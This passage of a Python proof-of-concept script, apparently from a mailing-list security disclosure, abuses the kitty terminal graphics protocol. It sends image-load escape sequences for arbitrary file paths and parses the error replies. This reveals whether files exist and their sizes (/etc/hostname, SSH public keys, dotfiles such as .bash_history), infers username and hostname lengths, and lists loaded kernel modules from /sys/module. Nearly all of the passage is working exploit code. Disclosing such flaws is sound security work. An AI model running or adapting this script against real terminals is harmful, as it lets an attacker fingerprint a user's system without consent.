xt_cpu xt_dccp xt_devgroup xt_dscp xt_ecn xt_esp xt_hashlimit xt_helper xt_hl xt_ipcomp xt_iprange xt_ipvs xt_l2tp
xt_length xt_limit xt_mac xt_mark xt_multiport xt_nat xt_nfacct xt_osf xt_owner xt_physdev xt_pkttype xt_policy
xt_quota xt_rateest xt_realm xt_recent xt_sctp xt_set xt_socket xt_state xt_statistic xt_string xt_tcpmss xt_tcpudp
xt_time xt_u32 xtkbd xts xusbatm xxhash_generic yam yealink yellowfin yenta_socket yurex zaurus zd1211rw zd1301
zd1301_demod zfs zhenhua zl10036 zl10039 zl10353 zonefs zopt2201 zpa2326 zpa2326_i2c zpa2326_spi zram zstd
"""

FILES = """
.bash_history .bashrc .bash_profile .profile .vimrc .gitconfig .zshrc .python_history .bun .cargo .npm .pi .omp
.zoom .sudo_as_admin_successful

/usr/bin/kitty /bin/kitty .bin/kitty .local/bin/kitty bin/kitty
"""

@contextmanager
def raw_mode(stream=sys.stdin, cbreak=True):
   # cbreak=True: ICANON|ECHO off but ISIG survives (Ctrl-C still works, OPOST stays on
   # so printed replies render sanely).
   fd = stream.fileno()
   saved = termios.tcgetattr(fd)
   try:
       if cbreak:
           attrs = termios.tcgetattr(fd)
           attrs[3] &= ~(termios.ICANON | termios.ECHO)  # lflag
           termios.tcsetattr(fd, termios.TCSADRAIN, attrs)
       else:
           tty.setraw(fd)
       yield fd
   finally:
       termios.tcsetattr(fd, termios.TCSAFLUSH, saved)

def read_response(fd, timeout=0.5):
    # capture kitty graphics response
    IDLE, ESC, APC, GFX, ESC_APC, CSI = 0, 1, 2, 3, 4, 5
    state, buf = IDLE, bytearray()
    raw = bytearray()
    end = time.monotonic() + timeout
    while True:
        left = end - time.monotonic()
        if left <= 0 or not select.select([fd], [], [], left)[0]: return (None, raw)
        c = os.read(fd, 1)
        if not c: return (None, raw)
        raw += c
        b = c[0]

        if state == IDLE and b == 0x1b:
            state, buf[:] = ESC, b''
        elif state == ESC:
            if b == ord('_'):
                state, buf[:] = APC, b''
            elif b == ord('['):
                state, buf[:] = CSI, b''
        elif state == APC:
            if b == ord('G'):
                state, buf[:] = GFX, b''
            else:
                state, buf[:] = IDLE, b''
        elif state == GFX:
            if b == 0x07:
                return (bytes(buf[:]).decode(), raw)
            elif b == 0x1b:
                state = ESC_APC
            else:
                buf += c
        elif state == ESC_APC:
            if b == ord('\\'):
                return (bytes(buf[:]).decode(), raw)
            elif b == ord('_'):
                state, buf[:] = APC, b''
            elif b == ord('['):
                state, buf[:] = CSI, b''
            else:
                state, buf[:] = IDLE, b''
        elif state == CSI:
            if 0x40 <= b <= 0x7E:
                state, buf[:] = IDLE, b''

    return (None, raw)

counter = 1

def query_file(path, n=None):
    with raw_mode():
        query_only(path, n)
        return process_response(0)

def query_only(path, n=None):
    global counter
    if n is None:
        n = counter
        counter += 1

    encoded_path = b64e(path.encode()).decode()
    query = f'\033_Gf=24,t=f,s=4000,v=4000,i={n};{encoded_path}\033\\';

    os.write(1, query.encode())

def process_response(fd=0):
    answer, raw = read_response(0)
    i = -1

    if answer is not None:
        if m := re.fullmatch(r'i=([0-9]+);(E[A-Z]+):(.*)', answer):
            size = -1
            i = int(m.group(1))
            err_code = m.group(2)
            err_text = m.group(3)

            if err_code == 'ENODATA':
                if m := re.fullmatch(r'.*?([0-9]+)\s<\s48000000', answer):
                    size = int(m.group(1))
            elif err_code == 'EBADF':
                if m := re.fullmatch(r'.*with\ssize:\s([0-9]+).*', answer):
                    size = int(m.group(1))

            return (err_code, size, i)

    return (None, -1, -1)

def chunks(it, n):
   it = iter(it)
   while batch := list(islice(it, n)):
       yield batch

def main(argv):
    _, size, _ = query_file('/etc/hostname')
    hostname_len = size - 1 if size >= 0 else -1
    print('Inferred hostname length:', hostname_len)
    _, rsa_size, _ = query_file('.ssh/id_rsa.pub')
    _, ecdsa_size, _ = query_file('.ssh/id_ecdsa.pub')
    _, ed25519_size, _ = query_file('.ssh/id_ed25519.pub')

    if hostname_len > 0 and ed25519_size > 0:
        username_len = ed25519_size - (83 + hostname_len)
        print('Inferred username length:', username_len)

    for file in re.split(r'\s+', FILES):
        if not file: continue
        err_code, size, n = query_file(file)
        if size >= 0:
            print(f'Exists: {file} ({size} bytes)')
        elif err_code == 'EPERM':
            print(f'Exists: {file} (not a regular file)')

    modules = {}
    results = []
    mod_list = re.split(r'\s+', MODULES)
    for idx, module in enumerate(mod_list, 1000):
        if not module: continue
        modules[idx] = module

    # batched query
    with raw_mode():
        # increasing the items per batch too high may crash wayland
        for chunk in chunks(modules.items(), 40):
            count = 0
            for n, module in chunk:
                count += 1
                query_only(f'/sys/module/{module}', n)

            for _ in range(count):
                err_code, size, n = process_response()
                if err_code == 'EPERM':
                    results.append(modules[n])

    n = len(results)
    print(f'Queried {len(mod_list)}, found {n} loaded:')
    print(' '.join(results))

if __name__ == '__main__':
    if 'main' in globals() and callable(main):
        exit(main(argv) or 0)
    else:
        print(f"{argv[0]}: No 'main' function defined!", file=stderr)
        exit(255)

Reply via email to